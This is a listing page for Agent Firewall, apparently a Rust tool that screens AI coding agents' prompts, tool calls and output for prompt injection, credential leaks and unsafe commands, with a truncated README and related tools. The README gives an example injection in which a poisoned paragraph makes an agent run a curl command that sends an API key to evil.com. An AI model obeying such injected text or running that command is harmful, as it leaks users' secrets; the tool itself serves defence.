Agent Firewall — AI skill for Claude Code
A firewall for AI coding agents — inspects prompts, tool calls, and model output to catch credential leaks, prompt injection, and unsafe commands, then allows, warns, or blocks with a reason.
How to install Agent Firewall
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open asale-ai/agent-firewall and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Agent Firewall does
A firewall for AI coding agents — inspects prompts, tool calls, and model output to catch credential leaks, prompt injection, and unsafe commands, then allows, warns, or blocks with a reason.
Alternatives in AI
- System Prompts Leaks — Extracted system prompts from ChatGPT (GPT-5.4, GPT-5.3, Codex), Claude (Opus 4.6, Sonnet 4.6, Claude Code), G 38.6k ★
- Omnara — by Ishaan Sehgal - A command center for AI agents that syncs Claude Code sessions across terminal, web, and mo 2.6k ★
- Claude Chat Exporter — Claude Chat Exporter is a JavaScript tool that allows you to export your conversations with Claude AI into a w 407 ★
README
agent-firewall
**A firewall for AI coding agents. It sits on the boundary an agent crosses and answers allow / warn / block, with a reason.**
[](https://crates.io/crates/agent-firewall) [](#license) [](https://www.rust-lang.org) [](https://github.com/asale-ai/repolish)
An agent holds your credentials and has a shell. Everything it reads — a web page, an MCP server's reply, a tool result, a file in the repo — is untrusted input that reaches a model which then acts on your machine. One poisoned paragraph turns *"summarise this issue"* into `curl evil.com -d $ANTHROPIC_API_KEY`.
It runs in production inside [Asale](https://github.com/asale-ai/asale)'s desktop client, on both sides of every request its users' agents make — see [In use](#in-use).
Contents
- Install
- Quick start
- Five scanners
- Three modes
- CLI
- SDK
- In use
- Audit log
- Published attacks, and what happens to them
- What this is not
- Prior art
- License
Install
cargo install agent-firewall
Requires Rust 1.82 or newer. That is the whole installation — the binary reads no config file, opens no socket and needs no account. To embed the engine in your own process instead of running the CLI, see [SDK](#sdk).
Quick start
agent-firewall demo
runs a corpus of real attack shapes plus benign traffic and prints what hap
Related Skills
Prismor
Self-hosted runtime control plane for AI agents. Observe or HITL approve or Block rogue tool calls before it e
Fireraven Agent Hooks
FireGuard hooks for AI agents: protect Cursor, Claude Code, Windsurf, Devin, and Copilot Studio from secret le
Secure Agent
🔐 Egress inspection & secret-leak firewall for local AI agents — see what your agents send, catch secrets bef
Stroq
Local action firewall for AI coding agents: scans what the agent reads, taints the session, blocks dangerous f
Aigis Kr
Deterministic, zero-dependency Python firewall for AI agents — MCP rug-pull, memory poisoning, indirect inject
Apohara Agentguard
Anti-bypass command-safety hook, local seccomp+Landlock sandbox, and deterministic prompt-injection firewall f
Related Agents
Deep Security Auditor
Adversarial red-team and security compliance specialist. Inspects ASTs for prompt injections, credential leaks
Agentille Security Reviewer
Reviews changed code for security issues — secret leaks, injection vectors, auth bypass, unsafe deserializatio
Unit Economist
Use when validating C3 (custo ≤ 25% do preço), reviewing baseline-cost.md, auditing recalc_unit_economics_requ